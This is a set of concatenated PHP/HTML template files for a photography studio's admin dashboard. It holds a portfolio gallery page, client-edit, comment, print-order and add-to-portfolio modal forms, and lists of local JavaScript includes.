'/assets/plugins/jvectormap/jquery-jvectormap-us-aea-en.js',
'/assets/plugins/jvectormap/jquery-jvectormap-uk-mill-en.js',
'/assets/plugins/jvectormap/jquery-jvectormap-au-mill.js',
'/assets/plugins/jvectormap/jquery-jvectormap-ca-lcc.js',
'/assets/js/jvectormap.js',
'/assets/plugins/highcharts/highcharts.js',
'/assets/plugins/highcharts/highcharts-3d.js',
'/assets/plugins/highcharts/exporting.js',
'/assets/plugins/highcharts/export-data.js',
'/assets/plugins/highcharts/histogram-bellcurve.js',
'/assets/js/highcharts.js',
'/assets/js/main.js',
'/assets/js/index3.js',
];
?><file_sep><!--Page Header-->
<div class="mb-5">
<div class="page-header mb-0">
<h4 class="page-title">Portfolio View</h4>
<div class="float-right ml-auto">
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary"><i
class="fas fa-pen"></i> Edit</a>
<div class="float-right ml-1">
<a href="#" class="btn btn-primary bg-red"><i class="fas fa-trash mr-1"></i>Delete</a>
</div>
</div>
</div>
</div>
<!--page header-->
<div class="row">
<div class="col-xl-12 col-lg-12 col-md-12">
<div class="card">
<div class="card-header">
<h3 class="card-title font-weight-bold">Folders & Files</h3>
</div>
<div class="card-body">
<div class="panel panel-primary">
<div class="tabs-menu mx-4 mb-0">
<!-- Tabs -->
<ul class="nav panel-tabs">
<li class=""><a href="#tab11" class="active font-weight-bold" data-toggle="tab">Formality Projects </a></li>
<li class=""><a href="#tab22" class="font-weight-bold" data-toggle="tab">Wedding Reception Projects</a></li>
<li class=""><a href="#tab33" class="font-weight-bold" data-toggle="tab">Wedding Projects</a></li>
<li class=""><a href="#tab44" class="font-weight-bold" data-toggle="tab">Atelier Projects </a></li>
</ul>
</div>
<div class="panel-body tabs-menu-body border-0 pt-1">
<div class="tab-content">
<div class="tab-pane active " id="tab11">
<div>
<button type="button" class="btn btn-icon btn-primary rounded btn-pinterest float-left ml-auto px-3 py-2 mb-0 mr-1"><i class="fas fa-undo-alt text-white"></i></button>
<div>
<ol class="breadcrumb1 rounded bg-primary mb-7">
<li class="breadcrumb-item1 active text-white font-weight-extrabold ml-1">Formality Projects </li>
<li class="breadcrumb-item1 active text-white font-weight-extrabold ml-1">raw pictures </li>
</ol>
</div>
</div>
<div class="mb-9">
<h5 class="text-muted font-weight-extrabold">Folders</h5>
<hr class="mt-0">
<div class="d-flex justify-content-start">
<button type="button" class="btn btn-outline-secondary mr-3" data-toggle="dropdown" aria-expanded="false"> <i class="fas fa-folder"></i> photographer favorite pictures</button>
<button type="button" class="btn btn-outline-secondary mr-3" data-toggle="dropdown" aria-expanded="false"> <i class="fas fa-folder"></i> editor favorite pictures</button>
<button type="button" class="btn btn-outline-secondary mr-3" data-toggle="dropdown" aria-expanded="false"> <i class="fas fa-folder"></i> customer favorite picture for edit </button>
</div>
</div>
<div>
<div>
<h4 class="text-muted font-weight-extrabold">Files</h4>
<div class="dropdown float-right ">
<button type="button" class="btn btn-primary btn-sm dropdown-toggle" data-toggle="dropdown" aria-expanded="false">View</button>
<div class="dropdown-menu" x-placement="bottom-start" style="position: absolute; will-change: transform; top: 0px; left: 0px; transform: translate3d(0px, 39px, 0px);">
<a class="dropdown-item" href="javascript:void(0)">Small icons</a>
<a class="dropdown-item" href="javascript:void(0)">Large icons</a>
<a class="dropdown-item" href="javascript:void(0)">Extra large icons</a>
</div>
</div>
</div>
<hr class="mt-0 ">
<div class="row img-gallery pt-4">
<div class="col-4">
<a href="javascript:void(0)" data-toggle="modal" data-target="#comment-modal" class="d-block link-overlay">
<img class="d-block img-fluid rounded" src="../assets/images/photos/pexels-photo-587741.jpeg" alt="">
<span class="link-overlay-bg rounded">
<span class="text-muted font-weight-extrabold"><i class="fas fa-comment text-muted"></i> comment</span>
</span>
</a>
<div class="row ">
<div class="col-6">
<a href="javascript:void(0)" data-toggle="modal" data-target="#order-modal" class="btn btn-pill btn-outline-dark btn-block mt-1 mb-2 btn-sm font-weight-extrabold"> Make New Order</a>
</div>
<div class="col-6">
<a href="javascript:void(0)" data-toggle="modal" data-target="#portfolio-modal" class="btn btn-pill btn-outline-info btn-block mt-1 mb-2 btn-sm font-weight-extrabold"> Add To Portfolio</a>
</div>
</div>
</div>
<div class="col-4">
<a href="javascript:void(0)" data-toggle="modal" data-target="#comment-modal" class="d-block link-overlay">
<img class="d-block img-fluid rounded" src="../assets/images/photos/photo-1405528.jpeg"
alt="">
<span class="link-overlay-bg rounded">
<span class="text-muted font-weight-extrabold"><i class="fas fa-comment text-muted"></i> comment</span>
</span>
</a>
<div class="row ">
<div class="col-6">
<a href="javascript:void(0)" data-toggle="modal" data-target="#order-modal" class="btn btn-pill btn-outline-dark btn-block mt-1 mb-2 btn-sm font-weight-extrabold"> Make New Order</a>
</div>
<div class="col-6">
<a href="javascript:void(0)" data-toggle="modal" data-target="#portfolio-modal" class="btn btn-pill btn-outline-info btn-block mt-1 mb-2 btn-sm font-weight-extrabold"> Add To Portfolio</a>
</div>
</div>
</div>
<div class="col-4">
<a href="javascript:void(0)" data-toggle="modal" data-target="#comment-modal" class="d-block link-overlay">
<img class="d-block img-fluid rounded" src="../assets/images/photos/pexels-photo-265730.jpeg"
alt="">
<span class="link-overlay-bg rounded">
<span class="text-muted font-weight-extrabold"><i class="fas fa-comment text-muted"></i> comment</span>
</span>
</a>
<div class="row ">
<div class="col-6">
<a href="javascript:void(0)" data-toggle="modal" data-target="#order-modal" class="btn btn-pill btn-outline-dark btn-block mt-1 mb-2 btn-sm font-weight-extrabold"> Make New Order</a>
</div>
<div class="col-6">
<a href="javascript:void(0)" data-toggle="modal" data-target="#portfolio-modal" class="btn btn-pill btn-outline-info btn-block mt-1 mb-2 btn-sm font-weight-extrabold"> Add To Portfolio</a>
</div>
</div>
</div>
<div class="col-4">
<a href="javascript:void(0)" data-toggle="modal" data-target="#comment-modal" class="d-block link-overlay">
<img class="d-block img-fluid rounded" src="../assets/images/photos/photo-787961.jpeg"
alt="">
<span class="link-overlay-bg rounded">
<span class="text-muted font-weight-extrabold"><i class="fas fa-comment text-muted"></i> comment</span>
</span>
</a>
<div class="row ">
<div class="col-6">
<a href="javascript:void(0)" data-toggle="modal" data-target="#order-modal" class="btn btn-pill btn-outline-dark btn-block mt-1 mb-2 btn-sm font-weight-extrabold"> Make New Order</a>
</div>
<div class="col-6">
<a href="javascript:void(0)" data-toggle="modal" data-target="#portfolio-modal" class="btn btn-pill btn-outline-info btn-block mt-1 mb-2 btn-sm font-weight-extrabold"> Add To Portfolio</a>
</div>
</div>
</div>
<div class="col-4">
<a href="javascript:void(0)" data-toggle="modal" data-target="#comment-modal" class="d-block link-overlay">
<img class="d-block img-fluid rounded" src="../assets/images/photos/photo-1024993.jpeg"
alt="">
<span class="link-overlay-bg rounded">
<span class="text-muted font-weight-extrabold"><i class="fas fa-comment text-muted"></i> comment</span>
</span>
</a>
<div class="row ">
<div class="col-6">
<a href="javascript:void(0)" data-toggle="modal" data-target="#order-modal" class="btn btn-pill btn-outline-dark btn-block mt-1 mb-2 btn-sm font-weight-extrabold"> Make New Order</a>
</div>
<div class="col-6">
<a href="javascript:void(0)" data-toggle="modal" data-target="#portfolio-modal" class="btn btn-pill btn-outline-info btn-block mt-1 mb-2 btn-sm font-weight-extrabold"> Add To Portfolio</a>
</div>
</div>
</div>
<div class="col-4">
<a href="javascript:void(0)" data-toggle="modal" data-target="#comment-modal" class="d-block link-overlay">
<img class="d-block img-fluid rounded" src="../assets/images/photos/pexels-photo-256737.jpeg"
alt="">
<span class="link-overlay-bg rounded">
<span class="text-muted font-weight-extrabold"><i class="fas fa-comment text-muted"></i> comment</span>
</span>
</a>
<div class="row ">
<div class="col-6">
<a href="javascript:void(0)" data-toggle="modal" data-target="#order-modal" class="btn btn-pill btn-outline-dark btn-block mt-1 mb-2 btn-sm font-weight-extrabold"> Make New Order</a>
</div>
<div class="col-6">
<a href="javascript:void(0)" data-toggle="modal" data-target="#portfolio-modal" class="btn btn-pill btn-outline-info btn-block mt-1 mb-2 btn-sm font-weight-extrabold"> Add To Portfolio</a>
</div>
</div>
</div>
<div class="col-4">
<a href="javascript:void(0)" data-toggle="modal" data-target="#comment-modal" class="d-block link-overlay">
<img class="d-block img-fluid rounded" src="../assets/images/photos/pexels-photo-916344.jpeg"
alt="">
<span class="link-overlay-bg rounded">
<span class="text-muted font-weight-extrabold"><i class="fas fa-comment text-muted"></i> comment</span>
</span>
</a>
<div class="row ">
<div class="col-6">
<a href="javascript:void(0)" data-toggle="modal" data-target="#order-modal" class="btn btn-pill btn-outline-dark btn-block mt-1 mb-2 btn-sm font-weight-extrabold"> Make New Order</a>
</div>
<div class="col-6">
<a href="javascript:void(0)" data-toggle="modal" data-target="#portfolio-modal" class="btn btn-pill btn-outline-info btn-block mt-1 mb-2 btn-sm font-weight-extrabold"> Add To Portfolio</a>
</div>
</div>
</div>
<div class="col-4">
<a href="javascript:void(0)" data-toggle="modal" data-target="#comment-modal" class="d-block link-overlay">
<img class="d-block img-fluid rounded" src="../assets/images/photos/pexels-photo-2875180.jpeg"
alt="">
<span class="link-overlay-bg rounded">
<span class="text-muted font-weight-extrabold"><i class="fas fa-comment text-muted"></i> comment</span>
</span>
</a>
<div class="row ">
<div class="col-6">
<a href="javascript:void(0)" data-toggle="modal" data-target="#order-modal" class="btn btn-pill btn-outline-dark btn-block mt-1 mb-2 btn-sm font-weight-extrabold"> Make New Order</a>
</div>
<div class="col-6">
<a href="javascript:void(0)" data-toggle="modal" data-target="#portfolio-modal" class="btn btn-pill btn-outline-info btn-block mt-1 mb-2 btn-sm font-weight-extrabold"> Add To Portfolio</a>
</div>
</div>
</div>
<div class="col-4">
<a href="javascript:void(0)" data-toggle="modal" data-target="#comment-modal" class="d-block link-overlay">
<img class="d-block img-fluid rounded" src="../assets/images/photos/pexels-photo-410398.jpeg"
alt="">
<span class="link-overlay-bg rounded">
<span class="text-muted font-weight-extrabold"><i class="fas fa-comment text-muted"></i> comment</span>
</span>
</a>
<div class="row ">
<div class="col-6">
<a href="javascript:void(0)" data-toggle="modal" data-target="#order-modal" class="btn btn-pill btn-outline-dark btn-block mt-1 mb-2 btn-sm font-weight-extrabold"> Make New Order</a>
</div>
<div class="col-6">
<a href="javascript:void(0)" data-toggle="modal" data-target="#portfolio-modal" class="btn btn-pill btn-outline-info btn-block mt-1 mb-2 btn-sm font-weight-extrabold"> Add To Portfolio</a>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="tab-pane" id="tab22">
</div>
<div class="tab-pane" id="tab33">
</div>
<div class="tab-pane" id="tab44">
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- Modal -->
<div class="modal fade" id="edit-modal" tabindex="-1" role="dialog" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="example-Modal3-1">Edit Portfolio Box</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="row">
<div class="col-md-12 col-xl-12">
<div class="card mb-0">
<div class="panel panel-primary ">
<div class=" border-0">
<div class="tabs-menu ">
<!-- Tabs -->
<ul class="nav panel-tabs">
<li class=""><a href="#tab1-1-1" class="active font-weight-bold"
data-toggle="tab">Basic Info</a></li>
<li><a href="#tab2-2-2" class="font-weight-bold"
data-toggle="tab">Mentality</a>
</li>
<li><a href="#tab3-3-3" class="font-weight-bold"
data-toggle="tab">Place</a>
</li>
<li><a href="#tab4-4-4" class="font-weight-bold"
data-toggle="tab">Relation</a>
</li>
</ul>
</div>
</div>
<div class="panel-body tabs-menu-body border-left-0 border-right-0 border-bottom-0">
<div class="tab-content">
<div class="tab-pane active " id="tab1-1-1">
<div class="row mt-3">
<div class="col-lg-3">
<label class="form-label font-weight-bold">Name :</label>
</div>
<div class="col-lg-9">
<div class="form-group">
<input type="text" class="form-control" name="topic"
placeholder="">
</div>
</div>
</div>
<div class="row">
<div class="col-lg-3">
<label class="form-label font-weight-bold">Family :</label>
</div>
<div class="col-lg-9">
<div class="form-group">
<input type="text" class="form-control" name="topic"
placeholder="">
</div>
</div>
</div>
<div class="row">
<div class="col-lg-3">
<div class="form-label">Gender :</div>
</div>
<div class="col-lg-9">
<div class="form-group ">
<div class="custom-controls-stacked">
<div class="row">
<label class="custom-control custom-radio ml-3 mr-5">
<input type="radio" class="custom-control-input"
name="example-radios" value="option1">
<span class="custom-control-label">Male</span>
</label>
<label class="custom-control custom-radio">
<input type="radio" class="custom-control-input"
name="example-radios" value="option2">
<span class="custom-control-label">Female</span>
</label>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-lg-3">
<label class="form-label font-weight-bold">Language :</label>
</div>
<div class="col-lg-9">
<div class="form-group ">
<select class="form-control "
data-placeholder="">
<option value="1">English</option>
<option value="2">Persian</option>
<option value="3">Turkish</option>
</select>
</div>
</div>
</div>
<div class="row">
<div class="col-lg-3">
<label class="form-label">Date of birth :</label>
</div>
<div class="col-lg-9">
<div class="form-group m-0">
<div class="row gutters-xs">
<div class="col-5">
<select name="user[month]"
class="form-control ">
<option value="">Month</option>
<option value="1">January</option>
<option value="2">February</option>
<option value="3">March</option>
<option value="4">April</option>
<option value="5">May</option>
<option selected="selected" value="6">June
</option>
<option value="7">July</option>
<option value="8">August</option>
<option value="9">September</option>
<option value="10">October</option>
<option value="11">November</option>
<option value="12">December</option>
</select>
</div>
<div class="col-3">
<select name="user[day]"
class="form-control ">
<option value="">Day</option>
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
<option value="4">4</option>
<option value="5">5</option>
<option value="6">6</option>
<option value="7">7</option>
<option value="8">8</option>
<option value="9">9</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
<option value="13">13</option>
<option value="14">14</option>
<option value="15">15</option>
<option value="16">16</option>
<option value="17">17</option>
<option value="18">18</option>
<option value="19">19</option>
<option selected="selected" value="20">20
</option>
<option value="21">21</option>
<option value="22">22</option>
<option value="23">23</option>
<option value="24">24</option>
<option value="25">25</option>
<option value="26">26</option>
<option value="27">27</option>
<option value="28">28</option>
<option value="29">29</option>
<option value="30">30</option>
<option value="31">31</option>
</select>
</div>
<div class="col-4">
<select name="user[year]"
class="form-control ">
<option value="">Year</option>
<option value="2014">2014</option>
<option value="2013">2013</option>
<option value="2012">2012</option>
<option value="2011">2011</option>
<option value="2010">2010</option>
<option value="2009">2009</option>
<option value="2008">2008</option>
<option value="2007">2007</option>
<option value="2006">2006</option>
<option value="2005">2005</option>
<option value="2004">2004</option>
<option value="2003">2003</option>
<option value="2002">2002</option>
<option value="2001">2001</option>
<option value="2000">2000</option>
<option value="1999">1999</option>
<option value="1998">1998</option>
<option value="1997">1997</option>
<option value="1996">1996</option>
<option value="1995">1995</option>
<option value="1994">1994</option>
<option value="1993">1993</option>
<option value="1992">1992</option>
<option value="1991">1991</option>
<option value="1990">1990</option>
<option selected="selected" value="1989">1989
</option>
<option value="1988">1988</option>
<option value="1987">1987</option>
<option value="1986">1986</option>
<option value="1985">1985</option>
<option value="1984">1984</option>
<option value="1983">1983</option>
<option value="1982">1982</option>
<option value="1981">1981</option>
<option value="1980">1980</option>
<option value="1979">1979</option>
<option value="1978">1978</option>
<option value="1977">1977</option>
<option value="1976">1976</option>
<option value="1975">1975</option>
<option value="1974">1974</option>
<option value="1973">1973</option>
<option value="1972">1972</option>
<option value="1971">1971</option>
<option value="1970">1970</option>
<option value="1969">1969</option>
<option value="1968">1968</option>
<option value="1967">1967</option>
<option value="1966">1966</option>
<option value="1965">1965</option>
<option value="1964">1964</option>
<option value="1963">1963</option>
<option value="1962">1962</option>
<option value="1961">1961</option>
<option value="1960">1960</option>
<option value="1959">1959</option>
<option value="1958">1958</option>
<option value="1957">1957</option>
<option value="1956">1956</option>
<option value="1955">1955</option>
<option value="1954">1954</option>
<option value="1953">1953</option>
<option value="1952">1952</option>
<option value="1951">1951</option>
<option value="1950">1950</option>
<option value="1949">1949</option>
<option value="1948">1948</option>
<option value="1947">1947</option>
<option value="1946">1946</option>
<option value="1945">1945</option>
<option value="1944">1944</option>
<option value="1943">1943</option>
<option value="1942">1942</option>
<option value="1941">1941</option>
<option value="1940">1940</option>
<option value="1939">1939</option>
<option value="1938">1938</option>
<option value="1937">1937</option>
<option value="1936">1936</option>
<option value="1935">1935</option>
<option value="1934">1934</option>
<option value="1933">1933</option>
<option value="1932">1932</option>
<option value="1931">1931</option>
<option value="1930">1930</option>
<option value="1929">1929</option>
<option value="1928">1928</option>
<option value="1927">1927</option>
<option value="1926">1926</option>
<option value="1925">1925</option>
<option value="1924">1924</option>
<option value="1923">1923</option>
<option value="1922">1922</option>
<option value="1921">1921</option>
<option value="1920">1920</option>
<option value="1919">1919</option>
<option value="1918">1918</option>
<option value="1917">1917</option>
<option value="1916">1916</option>
<option value="1915">1915</option>
<option value="1914">1914</option>
<option value="1913">1913</option>
<option value="1912">1912</option>
<option value="1911">1911</option>
<option value="1910">1910</option>
<option value="1909">1909</option>
<option value="1908">1908</option>
<option value="1907">1907</option>
<option value="1906">1906</option>
<option value="1905">1905</option>
<option value="1904">1904</option>
<option value="1903">1903</option>
<option value="1902">1902</option>
<option value="1901">1901</option>
<option value="1900">1900</option>
<option value="1899">1899</option>
<option value="1898">1898</option>
<option value="1897">1897</option>
</select>
</div>
</div>
</div>
</div>
</div>
<div class="row mt-4">
<div class="col-lg-3">
<label class="form-label font-weight-bold">Mobile Number
:</label>
</div>
<div class="col-lg-9">
<div class="form-group">
<input type="tel" class="form-control" name="topic"
placeholder="">
</div>
</div>
</div>
<div class="row">
<div class="col-lg-3">
<label class="form-label font-weight-bold">Email :</label>
</div>
<div class="col-lg-9">
<div class="form-group">
<input type="email" class="form-control" name="topic"
placeholder="">
</div>
</div>
</div>
<div class="row mb-3">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="Descriptions">Descriptions :</label>
</div>
<div class="col-lg-9">
<textarea class="form-control" name="example-textarea-input" rows="6"
placeholder="text here.." id="Descriptions"></textarea>
</div>
</div>
</div>
<div class="tab-pane" id="tab2-2-2">
<div class="form-group clearfix mt-3">
<div class="row">
<div class="col-12">
<div class="form-group clearfix mt-3">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="Inform">Mentality :</label>
</div>
<div class="col-lg-9">
<select multiple="multiple" class="multi-select"
id="Inform">
<option value="1">Happy</option>
<option value="2">Sad</option>
<option value="3">Arrogant</option>
<option value="4">Luxuries</option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix ">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold pt-3"
for="Inform">Grade :</label>
</div>
<div class="col-lg-9">
<div class="rating-stars block" id="more-rating">
<div class="rating-stars-container text-left">
<div class="rating-star p-0 is--active is--hover">
<i class="fas fa-star fa-1x"></i>
</div>
<div class="rating-star p-0 is--no-hover">
<i class="fas fa-star"></i>
</div>
<div class="rating-star p-0 is--no-hover">
<i class="fas fa-star"></i>
</div>
<div class="rating-star p-0 is--no-hover">
<i class="fas fa-star"></i>
</div>
<div class="rating-star p-0 is--no-hover">
<i class="fas fa-star"></i>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="tab-pane" id="tab3-3-3">
<div class="row mb-3">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="Descriptions">Address :</label>
</div>
<div class="col-lg-9">
<textarea class="form-control" name="example-textarea-input" rows="3"
placeholder="text here.." id="Descriptions"></textarea>
</div>
</div>
<div class="row">
<div class="col-lg-3 mt-4">
<label class="form-label font-weight-bold">Static Phone
:</label>
</div>
<div class="col-lg-9">
<div class="form-group">
<input type="tel" class="form-control" name="topic"
placeholder="">
</div>
</div>
</div>
<div class="col-12 mt-1">
<img class="border-dark" src="/assets/images/photos/Matican Location Map + Pin.png"
width="100%" alt="">
</div>
</div>
<div class="tab-pane" id="tab4-4-4">
<div class="row">
<div class="col-lg-3">
<label class="form-label font-weight-bold">Source :</label>
</div>
<div class="col-lg-9">
<div class="form-group ">
<select class="form-control "
data-placeholder="">
<option value="1">Advertisement</option>
<option value="2">Website</option>
<option value="3">Instagram</option>
<option value="3">Telegram</option>
<option value="3">Email</option>
</select>
</div>
</div>
</div>
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="Inform">Related title :</label>
</div>
<div class="col-lg-9">
<select multiple="multiple" class="multi-select"
id="Inform">
<option value="1">Groom</option>
<option value="2">Bride</option>
<option value="3">Relative</option>
<option value="4">Friend</option>
</select>
</div>
</div>
<div class="row mt-4">
<div class="col-lg-3">
<label class="form-label font-weight-bold">Related Person
:</label>
</div>
<div class="col-lg-9">
<div class="form-group ">
<select class="form-control "
data-placeholder="">
<option value="1"><NAME></option>
<option value="2"><NAME></option>
<option value="3"><NAME></option>
</select>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-danger" data-dismiss="modal">Cancel</button>
<button type="button" class="btn btn-primary"><i class="fas fa-check"></i>
Save Changes
</button>
</div>
</div>
</div>
</div>
<div id="comment-modal" class="modal fade">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content ">
<div class="modal-header pd-x-20">
<h6 class="modal-title">Comment</h6>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body pd-20">
<h5 class=" lh-3 mg-b-20 mb-4"><a href="" class="font-weight-bold">Whats your comment for editor?</a></h5>
<textarea class="form-control mb-5" name="example-textarea-input" rows="6"
placeholder="text here.." id="Descriptions"></textarea>
<div class="modal-footer pb-0">
<button type="button" class="btn btn-primary btn-sm">Register</button>
<button type="button" class="btn btn-danger btn-sm" data-dismiss="modal">Close</button>
</div>
</div>
</div><!-- modal-dialog -->
</div><!-- modal -->
</div>
<div class="modal fade" id="order-modal" tabindex="-1" role="dialog" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" >Make New Order</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="row">
<div class="col-md-12 col-xl-12">
<div class="card mb-0">
<div class="panel panel-primary ">
<div class=" border-0">
<div class="tabs-menu ">
<!-- Tabs -->
<ul class="nav panel-tabs">
<li class=""><a href="#tab1-11" class="active font-weight-bold" data-toggle="tab">Order info</a></li>
<li><a href="#tab2-22" class="font-weight-bold" data-toggle="tab">Photo comment</a></li>
</ul>
</div>
</div>
<div class="panel-body tabs-menu-body border-left-0 border-right-0 border-bottom-0">
<div class="tab-content">
<div class="tab-pane active " id="tab1-11">
<div class="row mt-3">
<div class="col-lg-3">
<label class="form-label font-weight-bold">product type :</label>
</div>
<div class="col-lg-9">
<div class="form-group ">
<select class="form-control "
data-placeholder="">
<option value="1">photo size</option>
<option value="2">canvas</option>
</select>
</div>
</div>
</div>
<div class="row ">
<div class="col-lg-3">
<label class="form-label font-weight-bold">size :</label>
</div>
<div class="col-lg-9">
<div class="form-group ">
<select class="form-control " data-placeholder="">
<option value="1"></option>
<option value="2"></option>
</select>
</div>
</div>
</div>
<div class="row ">
<div class="col-lg-3">
<label class="form-label font-weight-bold">print type :</label>
</div>
<div class="col-lg-9">
<div class="form-group ">
<select class="form-control " data-placeholder="">
<option >metallic</option>
<option >silk</option>
<option >water glass</option>
<option >luster</option>
</select>
</div>
</div>
</div>
</div>
<div class="tab-pane" id="tab2-22">
<div class="row mb-3 mt-3">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="Descriptions">your comment for editor :</label>
</div>
<div class="col-lg-9">
<textarea class="form-control" name="example-textarea-input" rows="6"
placeholder="text here.." id="Descriptions"></textarea>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-danger btn-sm" data-dismiss="modal">Cancel</button>
<button type="button" class="btn btn-primary btn-sm"><i class="fas fa-shopping-cart"></i>
Add To Card
</button>
</div>
</div>
</div>
</div>
<div class="modal fade" id="portfolio-modal" tabindex="-1" role="dialog" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="example-Modal3">Add To Portfolio</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="row">
<div class="col-md-12 col-xl-12">
<div class="card mb-0">
<div class="card-body">
<div class="row">
<div class="col-12">
<div class="form-group clearfix ">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="ProjectManager">Related folder :</label>
</div>
<div class="col-lg-9">
<select class="form-control" id="ProjectManager">
<option>Folder 1</option>
<option>Folder 2</option>
<option>Folder 3</option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix ">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="ProjectManager">Company :</label>
</div>
<div class="col-lg-9">
<select class="form-control" id="ProjectManager">
<option>company 1</option>
<option>company 2</option>
<option>company 3</option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix mt-3">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="Inform">Other tag :</label>
</div>
<div class="col-lg-9">
<select multiple="multiple" class="multi-select"
id="Inform">
<option value="1">tag 1</option>
<option value="2">tag 2</option>
<option value="3">tag 3</option>
<option value="4">tag 4</option>
<option value="5">tag 5</option>
</select>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-danger btn-sm" data-dismiss="modal">Cancel</button>
<button type="button" class="btn btn-primary btn-sm"><i class="fas fa-check"></i>
Save
</button>
</div>
</div>
</div>
</div>
<?php
$scripts = [
'/assets/plugins/select2/select2.full.min.js',
'/assets/plugins/multipleselect/multiple-select.js',
'/assets/plugins/multipleselect/multi-select.js',
];
?><file_sep><!--Back to top-->
<a href="#top" id="back-to-top"><i class="fas fa-angle-up "></i></a>
<!-- Dashboard js -->
<script src="/assets/js/vendors/jquery-3.2.1.min.js"></script>
<script src="/assets/js/vendors/jquery.sparkline.min.js"></script>
<script src="/assets/js/vendors/selectize.min.js"></script>
<script src="/assets/js/vendors/jquery.tablesorter.min.js"></script>
<script src="/assets/js/vendors/circle-progress.min.js"></script>
<script src="/assets/plugins/rating/jquery.rating-stars.js"></script>
<!--Bootstrap.min js-->
<script src="/assets/plugins/bootstrap/popper.min.js"></script>
<script src="/assets/plugins/bootstrap/js/bootstrap.min.js"></script>
<script src="/assets/js/vendors/bootstrap.bundle.min.js"></script>
<!-- Side menu js -->
<script src="/assets/plugins/toggle-sidebar/js/sidemenu.js"></script>
<!-- Custom scroll bar Js-->
<script src="/assets/plugins/scroll-bar/jquery.mCustomScrollbar.concat.min.js"></script>
<!-- peitychart -->
<script src="/assets/plugins/peitychart/jquery.peity.min.js"></script>
<!--Counters -->
<script src="/assets/plugins/counters/counterup.min.js"></script>
<script src="/assets/plugins/counters/waypoints.min.js"></script>
<!-- Sidebar js -->
<script src="/assets/plugins/sidebar/sidebar.js"></script>
<!-- Data tables -->
<script src="/assets/plugins/datatable/js/jquery.dataTables.js"></script>
<script src="/assets/plugins/datatable/js/dataTables.bootstrap4.js"></script>
<script src="/assets/plugins/datatable/js/dataTables.buttons.min.js"></script>
<script src="/assets/plugins/datatable/js/buttons.bootstrap4.min.js"></script>
<script src="/assets/plugins/datatable/js/jszip.min.js"></script>
<script src="/assets/plugins/datatable/js/pdfmake.min.js"></script>
<script src="/assets/plugins/datatable/js/vfs_fonts.js"></script>
<script src="/assets/plugins/datatable/js/buttons.html5.min.js"></script>
<script src="/assets/plugins/datatable/js/buttons.print.min.js"></script>
<script src="/assets/plugins/datatable/js/buttons.colVis.min.js"></script>
<script src="/assets/plugins/datatable/dataTables.responsive.min.js"></script>
<script src="/assets/plugins/datatable/responsive.bootstrap4.min.js"></script>
<!-- Data table js -->
<script src="/assets/js/datatable.js"></script>
<!-- Custom js -->
<script src="/assets/js/custom.js"></script>
<?php if (false): ?>
<!-- peitychart -->
<script src="/assets/plugins/peitychart/jquery.peity.min.js"></script>
<!--Counters -->
<script src="/assets/plugins/counters/counterup.min.js"></script>
<script src="/assets/plugins/counters/waypoints.min.js"></script>
<!-- Sidebar js -->
<script src="/assets/plugins/sidebar/sidebar.js"></script>
<!--Select2 js -->
<script src="/assets/plugins/select2/select2.full.min.js"></script>
<!--MutipleSelect js-->
<script src="/assets/plugins/multipleselect/multiple-select.js"></script>
<script src="/assets/plugins/multipleselect/multi-select.js"></script>
<!---Tabs JS-->
<script src="/assets/plugins/tabs/jquery.multipurpose_tabcontent.js"></script>
<!---Tabs scripts-->
<script src="/assets/js/tabs.js"></script>
<!--Rating js-->
<script src="/assets/plugins/rating/jquery.rating-stars.js"></script>
<!--Horizontalmenu js-->
<script src="/assets/plugins/horizontal-menu/webslidemenu.js"></script>
<!--Time Counter -->
<script src="/assets/plugins/counters/jquery.missofis-countdown.js"></script>
<script src="/assets/plugins/counters/counter.js"></script>
<!---Accordion Js-->
<script src="/assets/plugins/accordion/accordion.min.js"></script>
<script src="/assets/plugins/accordion/accor.js"></script>
<!-- Data tables -->
<script src="/assets/plugins/datatable/js/jquery.dataTables.js"></script>
<script src="/assets/plugins/datatable/js/dataTables.bootstrap4.js"></script>
<script src="/assets/plugins/datatable/js/dataTables.buttons.min.js"></script>
